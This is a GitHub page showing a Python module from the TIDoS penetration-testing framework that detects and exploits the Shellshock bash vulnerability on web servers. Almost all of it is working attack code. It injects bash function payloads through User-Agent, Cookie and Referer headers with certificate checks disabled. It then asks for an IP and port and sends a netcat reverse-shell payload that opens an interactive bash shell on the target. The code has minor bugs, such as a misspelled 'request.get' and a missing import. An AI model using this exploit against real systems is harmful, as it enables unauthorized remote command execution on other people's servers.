TIDoS-Framework/modules/0x04-Exploitation+Loot/shellshock_exp.py at master · securityproject/TIDoS-Framework · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# coding: utf-8

#-:-:-:-:-:-:-:-:-:-:-:-:#
#    TIDoS Framework     #
#-:-:-:-:-:-:-:-:-:-:-:-:#

#Author: @_tID
#This module requires TIDoS Framework
#https://github.com/0xInfection/TIDoS-Framework

from __future__ import print_function
import requests
import time
from random import *
import string
from core.Core.colors import *

def shellshock0x00(web):

    print(GR+' [*] Parsing strings...')
    time.sleep(0.5)
    r_str = ''.join(Random().sample(string.letters, 30))
    print(GR+' [*] Configuring payloads...')
    con = '() { :;}; echo; echo; echo %s'%(r_str)
    cmd = "() { test;};/bin/nopatchobfu"
    headers = {'User-agent': cmd}
    time.sleep(0.5)
    print(O+' [*] Making no-verify request...')
    time.sleep(1)
    r = requests.get(web, headers=headers, verify=False)
    if r.status_code == 500 or r.status_code == 502:
        print(G+' [+] The website seems Vulnerable to Shellshock...')
        time.sleep(0.5)
        print(O+' [*] Confirming the vulnerability...')

        headers = {
                    'User-Agent' : con,
                    'Cookie'     : con,
                    'Referer'    : con
                }

        resp = request.get(web, headers=headers, verify=False)
        if resp.status_code == 200:
            if re.search(r_str,resp.content,re.I):
                print(G+' [+] ShellShock was found in: %s'%(resp.url))
                print(GR+' [*] Preparing for the exploitation phase...')
                time.sleep(0.4)
                print(GR+' [*] Configuring payload...')
                ip = raw_input(O+' [#] Enter reverse IP :> ')
                port = raw_input(' [#] Enter port :> ')
                exp = '() { :; }; /bin/bash -c "nc -v '+str(ip)+' '+str(port)+' -e /bin/bash -i"'
                time.sleep(0.7)
                print(C+' [!] Using payload : '+B+exp)
                print(GR+' [*] Exploiting...')
                time.sleep(1)
                print(O+' [!] Using no-verify mode to avoid IP leakage...')
                try:
                    head = {'User-agent':exp}
                    r=requests.get(web, headers=head, verify=False)
                except:
                    print(R+' [-] Exploit failed...')

        else:
            print(R+' [-] 2nd phase of detection does not reveal vulnerability...')
            print(O+' [!] Please check manually...')
    else:
        print(R+' [-] The web seems immune to shellshock...')

def shellshock_exp(web):

    print(GR+'\n [*] Loading module...')
    time.sleep(0.5)
    print(R+'\n    ================================')
    print(R+'     S H E L L S H O C K  (Exploit)')
    print(R+'    ================================\n')
    shellshock0x00(web)